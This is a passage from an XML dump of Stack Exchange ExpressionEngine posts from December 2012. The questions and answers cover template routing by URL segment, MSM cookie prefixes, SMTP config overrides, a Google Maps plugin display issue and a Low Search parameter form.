&amp;lt;li&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;        {/categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I could somehow skip the second category slug in the URL then this would be half way there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress this would be achieved by providing a custom template &quot;category.php&quot; and special categories &quot;category-legal-politics.php&quot; or &quot;category-42.php&quot;. What would the equivalent be for EE?&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="536" LastEditDate="2012-12-05T03:29:52.440" LastActivityDate="2012-12-05T05:01:10.867" Title="How can I create a category listing which has its own template?" Tags="|ee2|templates|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1137" PostTypeId="2" ParentId="1132" CreationDate="2012-12-05T03:24:25.317" Score="2" Body="&lt;p&gt;I'm not completely clear on what you want to do here, but I'll give it a shot.  I'm assuming you want to have your regular news with any url_title show up using the index title, so &lt;code&gt;/site/news/regular1&lt;/code&gt; and &lt;code&gt;/site/news/regular2&lt;/code&gt; would both use the &lt;code&gt;site/index&lt;/code&gt; template.  I believe you can accomplish that much by default, you just need to make sure your template has the code in place to read the url title and pull the appropriate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second one is a little unclear as to what you want to accomplish?  Do you want to have a special template for each special story or one special template for all special stories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A special template for each story:&#xA;Just create the template with the appropriate name and make sure it has the code to read the right content, and away you should go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A special template for all special stories:&#xA;Look into the pages module for this, or you can have a toggle of some kind in your channel fields that the main template would look at and determine which design template to embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this answers your question, or if it seems like I'm misunderstanding, please edit your question to clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Based on your clarifications I built a little proof of concept with one of my existing channels and a new template group called testa.  Here are the two templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;testa/index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2==&quot;&quot;}&amp;lt;ul&amp;gt;{exp:channel:entries channel=&quot;announcements&quot;}&#xA;&amp;lt;li&amp;gt;{url_title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;{if:else}&#xA;{exp:channel:entries channel=&quot;announcements&quot; url_title=&quot;{segment_2}&quot;}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1}&#xA;{ann_en_body}&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is a brief sample of output from /testa/ (note I don't have the equivalent of your /site/ folder so in your case it would be segment_3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GU6Wm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I visit /testa/islamic_finance_report I get the title and English body of that page, until I add the islamic_finance_report template in the template group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;announcements&quot; url_title=&quot;islamic_finance_report&quot; limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{ann_ja_title}&amp;lt;/h1&amp;gt;&#xA;{ann_ja_body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now visiting that same url loads up the Japanese title and body for that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-05T04:05:15.107" LastActivityDate="2012-12-05T04:05:15.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1138" PostTypeId="2" ParentId="377" CreationDate="2012-12-05T03:25:09.390" Score="1" Body="&lt;p&gt;I've had very good luck with setting a specific cookie prefix for every site in the MSM. This can be done &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html&quot; rel=&quot;nofollow&quot;&gt;via the control panel&lt;/a&gt; (Admin &amp;rsaquo; Security and Privacy &amp;rsaquo; Cookie Settings), or you can set it within the config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_prefix'] = &quot;site_shortname_&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd recommend against leaving &lt;code&gt;cookie_domain&lt;/code&gt; and &lt;code&gt;cookie_prefix&lt;/code&gt; blank, especially if your MSM sites are subdomains on the same domain (e.g. site1.domain.com, site2.domain.com, etc.). I suspect that @MediaGirl is having luck with leaving those blank because she's forcing the admin login to use sessions only with &lt;code&gt;$config['admin_session_type'] = &quot;s&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2012-12-05T03:25:09.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1139" PostTypeId="2" ParentId="988" CreationDate="2012-12-05T03:39:33.440" Score="2" Body="&lt;p&gt;The latest update to CT Admin (1.5.1) has this capability. Just edit in the settings area.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-12-05T03:39:33.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1140" PostTypeId="2" ParentId="1136" CreationDate="2012-12-05T03:42:34.097" Score="4" Body="&lt;p&gt;Why not use a single template for your news items with a conditional to check for the &quot;/politics&quot; or &quot;/legal&quot; URI segments? Your template would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Category Index --}&#xA;{if !segment_3}&#xA;    Show overview of all content instead of simple listing...&#xA;&#xA;{!-- Specific Category --}&#xA;{if:elseif segment_3 == &quot;politics&quot;}&#xA;    Specialised template for politics...&#xA;&#xA;    {exp:channel:entries channel=&quot;news&quot; category=&quot;3&quot;} {!-- this assumes the &quot;politics&quot; category id is 3 --}&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{path='news/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;summary&quot;&amp;gt;{summary}&amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;{!-- Default Category Listing --}&#xA;{if:else}&#xA;    Generic template for anything else...&#xA;&#xA;    {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3_category_id}&quot;}&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{path='news/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;summary&quot;&amp;gt;{summary}&amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-05T05:01:10.867" LastActivityDate="2012-12-05T05:01:10.867" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1141" PostTypeId="2" ParentId="1132" CreationDate="2012-12-05T03:56:50.173" Score="1" Body="&lt;p&gt;Okay, the following seems to solve two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It allows me to provide a different template for the category listing and for an individual news item.&lt;/li&gt;&#xA;&lt;li&gt;Looking at the URL segment I can perform some custom template routing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is my template &quot;news/index&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == 'category' || segment_2 == 'archives' || !segment_2}&#xA;    {embed=&quot;news/.listing&quot;}&#xA;{if:elseif segment_2 == &quot;special-story&quot;}&#xA;    {embed=&quot;news/.special-story&quot;}&#xA;{if:else}&#xA;    {embed=&quot;news/.single&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has the undesirable effect of adding whitespace in front of the page DOCTYPE, but I cannot see an easier way to avoid this (any ideas welcome!)&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-05T03:56:50.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1142" PostTypeId="1" AcceptedAnswerId="1144" CreationDate="2012-12-05T04:02:27.907" Score="3" ViewCount="437" Body="&lt;p&gt;I know this is gonna sound crazy, but it is a client request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are wanting to know if there is an add-on available or that has been developed that will automatically search Amazon with whatever the entry title is; which is a specific product, and have it then create a specific affiliate like link within another custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client is not wanting to have to input any information themselves to search Amazon or produce this link but have EE and the Amazon API do it automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of link is: &lt;a href=&quot;http://www.amazon.com/dp/ASIN/?tag=YourAssociatesId&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/dp/ASIN/?tag=YourAssociatesId&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of this add-on: &lt;a href=&quot;http://www.hopstudios.com/software/amazon_web_services_aws_products&quot; rel=&quot;nofollow&quot;&gt;http://www.hopstudios.com/software/amazon_web_services_aws_products&lt;/a&gt;&#xA;But this requires the client to input info to search amazon, not do it automatically dependent of what they filled out for the entry title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has there been add-on developed for a specific site that possibly is available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="55" LastEditDate="2012-12-05T18:09:08.567" LastActivityDate="2015-11-18T04:35:12.483" Title="Automatically search Amazon and create affiliate link based on entry title?" Tags="|add-on|add-on-development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1143" PostTypeId="2" ParentId="1142" CreationDate="2012-12-05T04:14:26.807" Score="0" Body="&lt;p&gt;Would you not just be able to insert the {title} field between the {define_keywords} tag pair in the template, does parse order get in your way there, or am I missing some other reason why that wouldn't work?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2012-12-05T04:14:26.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1144" PostTypeId="2" ParentId="1142" CreationDate="2012-12-05T04:57:55.290" Score="2" Body="&lt;p&gt;As UltraBob has mentioned before the HopStudios plugin will not be able to achieve what you are wanting unless the client is entering very specific titles for their entries and all of the items they are wanting to add are in the same category on Amazon. By default the keyword search use the &quot;books&quot; index for Amazon. You could bypass this at the template level but not based upon the title alone if you need to search multiple indexes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keywords search tag can often produce some wild results even with descriptive words. For example when I used it I was creating an online Vinyl record store where it would pull the product data from Amazon instead of the admins having to enter the data into the CP. Using the keywords search for something like &quot;The Beatles&quot; I would get plenty of results that were not the Beatles but someone that had covered a Beatles song. I eventually had to switch over to using the ASIN number to get reliable results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless your client is using the ASIN number as the title of their entries you would need to have a custom field or develop a fieldtype to handle what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-12-06T03:26:50.703" LastActivityDate="2012-12-06T03:26:50.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1145" PostTypeId="2" ParentId="1131" CreationDate="2012-12-05T05:49:37.350" Score="2" Body="&lt;p&gt;If you're using the webserver email option for Postmaster, why don't you just override the smtp settings based on your environment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol']    = 'smtp';&#xA;$config['smtp_server']      = '127.0.0.1';&#xA;$config['smtp_username']    = 'example';&#xA;$config['smtp_password']    = 'example';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're unfamiliar with multi-environment config setups, this is a good one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/focuslabllc/ee-master-config&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-05T05:49:37.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1146" PostTypeId="2" ParentId="1048" CreationDate="2012-12-05T05:52:53.543" Score="2" Body="&lt;p&gt;What Brett suggested above should work. Maybe you can try with the tag pair approach ? Again, very simple example you can build upon.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{cf_news_img}&quot; width=&quot;200&quot; height=&quot;200&quot; crop=&quot;yes|center,center&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2012-12-05T20:38:45.457" LastActivityDate="2012-12-05T20:38:45.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1147" PostTypeId="1" AcceptedAnswerId="1148" CreationDate="2012-12-05T06:07:32.147" Score="1" ViewCount="182" Body="&lt;p&gt;Using Objective HTMLs &quot;Google Maps for ExpressionEngine&quot; plugin this query returns 3 records and it is giving me the first two maps as staic maps and third map as a live map:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; orderby=&quot;events_start_date&quot; sort=&quot;desc&quot;}&#xA;&#xA;&amp;lt;div class=&quot;map&quot;&amp;gt;&#xA;{exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot;} &#xA;                {exp:gmap:marker id=&quot;map{entry_id}&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why are all the maps not live maps with a marker on them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maps are also in a div that uses jquery show/hide and the real map only shows the first tile and the static maps (which should be real maps) don't even show. If the show/hide is disabled the maps render correctly (though the first two are static).&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="101" LastEditDate="2012-12-05T08:28:31.900" LastActivityDate="2012-12-05T08:28:31.900" Title="When using Google Maps for EE, why does my third map (out of 3) appear correctly while the others are static images?" Tags="|ee2|google-maps|google-maps-for-ee|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1148" PostTypeId="2" ParentId="1147" CreationDate="2012-12-05T06:16:09.383" Score="6" Body="&lt;p&gt;Take a look at the DOM, you will notice that the Google Maps library is included with each loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;script_tag=&quot;false&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/documentation/tag/init#script_tag&quot;&gt;https://objectivehtml.com/google-maps/documentation/tag/init#script_tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something to this effect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == 1}&#xA;    {exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot;}&#xA;{if:else}&#xA;    {exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot; script_tag=&quot;false&quot;}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-05T06:16:09.383" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1149" PostTypeId="2" ParentId="1065" CreationDate="2012-12-05T06:16:22.813" Score="1" Body="&lt;p&gt;I wouldn't swear to it but I seem to recall that &lt;code&gt;{page_url}&lt;/code&gt; when used inside say a WYSIWYG editor will actually be rendered as the full-path on saving of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that's why I now never use anything else but relative URL's for content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also as James asked, does it happen on new entries also ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2012-12-05T06:16:22.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1150" PostTypeId="5" CreationDate="2012-12-05T06:18:36.357" Score="0" Body="&lt;p&gt;Google Maps for EE is a module that contains a collection of tools that easily enables users to harness the power of the Google Maps API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.com/google-maps&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.com/google-maps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-05T18:09:14.580" LastActivityDate="2012-12-05T18:09:14.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1151" PostTypeId="4" CreationDate="2012-12-05T06:18:36.357" Score="0" Body="Google Maps for ExpressionEngine is a commercial add-on from Objective HTML." OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-05T18:09:18.287" LastActivityDate="2012-12-05T18:09:18.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1152" PostTypeId="1" CreationDate="2012-12-05T06:31:36.840" Score="8" ViewCount="889" Body="&lt;p&gt;Using Objective HTMLs &quot;Google Maps for ExpressionEngine&quot; we can get the 3 maps from this query to show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; orderby=&quot;events_start_date&quot; sort=&quot;desc&quot;}&#xA;    {if count == 1}&#xA;    {exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot;} &#xA;    {exp:gmap:marker id=&quot;map{entry_id}&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot;}&#xA;    {if:else}&#xA;    {exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot; script_tag=&quot;false&quot;}&#xA;    {exp:gmap:marker id=&quot;map{entry_id}&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot;}&#xA;    {/if} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The maps are in a div that uses jquery show/hide and the maps only show the first tile and the map is not centred correctly. If the show/hide is disabled the maps render correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to overcome this issue with maps and jquery?&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2012-12-12T13:36:47.780" LastActivityDate="2012-12-13T14:12:04.810" Title="Hiding/Showing Google Maps for ExpressionEngine" Tags="|ee2|jquery|google-maps|google-maps-for-ee|twitter-bootstrap|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1153" PostTypeId="2" ParentId="1152" CreationDate="2012-12-05T06:47:45.047" Score="4" Body="&lt;p&gt;Your issue is answered here I believe: &#xA;&lt;a href=&quot;https://stackoverflow.com/a/3066751/135935&quot;&gt;https://stackoverflow.com/a/3066751/135935&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently fixed the same problem by changing my CSS to use the off-left positioning suggested in the answer. Worked perfectly.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-05T06:47:45.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1155" PostTypeId="1" AcceptedAnswerId="1157" CreationDate="2012-12-05T08:29:30.637" Score="9" ViewCount="2125" Body="&lt;p&gt;Being new to EE I have only used Low Search once before and it was a very basic keyword search. This time it is a search with parameters. Unfortunately, it is return all entries in the channel I'm searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my setup - where am I going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel name: events&#xA;Collection label: Event&#xA;Collection name: events&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field Weights:&#xA;Title    3&lt;br&gt;&#xA;Event Start Date 3&lt;br&gt;&#xA;Event End Date 3&lt;br&gt;&#xA;Course Name  2&#xA;Event Description   2&#xA;Event Location Map 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to search the following 'events' channel fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play Dates&#xA;{events_start_date}&#xA;{events_end_date}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Venue&#xA;{events_course_name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location&#xA;{events_map_formatted_address}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Event Name&#xA;{title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Event Type&#xA;{events_type}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;events&quot; search_mode=&quot;all&quot; result_page=&quot;events-and-offers/search&quot; form_class=&quot;form-horizontal&quot;}&#xA;    &amp;lt;div class=&quot;left-form&quot;&amp;gt;&#xA;        &amp;lt;h5&amp;gt;Search by&amp;lt;/h5&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;inputDates&quot;&amp;gt;Play Dates&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;txtFromDate&quot; name=&quot;range:events_date&quot; placeholder=&quot;start date&quot; class=&quot;datepicker span placeholder&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;txtToDate&quot; name=&quot;range:events_date&quot; placeholder=&quot;end date&quot; class=&quot;datepicker span placeholder&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;venue&quot;&amp;gt;Venue&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;venue&quot; name=&quot;events_course_name[]&quot; placeholder=&quot;venue&quot; class=&quot;span placeholder&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;location&quot;&amp;gt;Location&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;location&quot; name=&quot;events_map_formatted_address[]&quot; placeholder=&quot;postocde&quot; class=&quot;span placeholder&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;event-name&quot;&amp;gt;Event Name&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;event-name&quot; name=&quot;title[]&quot; placeholder=&quot;event name&quot; class=&quot;span placeholder&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;right-form&quot;&amp;gt;&#xA;        &amp;lt;h5&amp;gt;I am interested in&amp;lt;/h5&amp;gt;&#xA;        &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;checkbox&quot; name=&quot;events_type[]&quot; value=&quot;special-events&quot;&amp;gt;&#xA;          &amp;lt;i class=&quot;ss-icon ss-standard ss-star&quot;&amp;gt;&amp;lt;/i&amp;gt; Special Events &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;checkbox&quot; name=&quot;events_type[]&quot; value=&quot;offers&quot;&amp;gt;&#xA;          &amp;lt;i class=&quot;ss-icon ss-standard ss-dollarsign&quot;&amp;gt;&amp;lt;/i&amp;gt; Offers &amp;lt;/label&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-normal btn-success&quot;&amp;gt;&amp;lt;i class=&quot;ss-icon ss-symbolicons-block&quot;&amp;gt;search&amp;lt;/i&amp;gt; SUBMIT SEARCH&amp;lt;/button&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results page (keeping it basic for testing):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot;}&#xA;  {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;  {if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="313" LastActivityDate="2015-02-24T09:11:20.260" Title="Low Search Returning All Results" Tags="|ee2|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1156" PostTypeId="1" AcceptedAnswerId="1159" CreationDate="2012-12-05T09:22:13.430" Score="5" ViewCount="119" Body="&lt;p&gt;I need a 'location_channel' with location entries.&lt;br/&gt;&#xA;These entries should have 3 multi-select boxes containing different categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Select #1 - Location Type&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Education&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Academies&lt;/li&gt;&#xA;&lt;li&gt;Auditoria&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Religion&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Chapels&lt;/li&gt;&#xA;&lt;li&gt;Temples&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Select #2 - Location Style&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Medieval&lt;/li&gt;&#xA;&lt;li&gt;Gothic&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Select #3 - Location Era&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10th Century&lt;/li&gt;&#xA;&lt;li&gt;11th Century&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried to do this with native EE categories, but it seems it's not possible to add multiple 'categories'-fields. And it wouldn't be easily selectable when you have 100+ categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also looked at Playa, but it handles entries not categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;So my question is:&lt;/b&gt;&lt;br/&gt;&#xA;What is the best way/practice to handle this case?&lt;br/&gt;&#xA;Am I overlooking something to do this with native categories?&lt;br/&gt;&#xA;Should I make use of a category_channel &amp;amp; add the 'categories' as channel_entries?&lt;br/&gt;&#xA;Or should I use 'Tags' instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Keep in mind:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easily manageable by the admin&lt;/li&gt;&#xA;&lt;li&gt;only the admin can add/remove categories&lt;/li&gt;&#xA;&lt;li&gt;on the front we need a 'search/filter' that can handle these 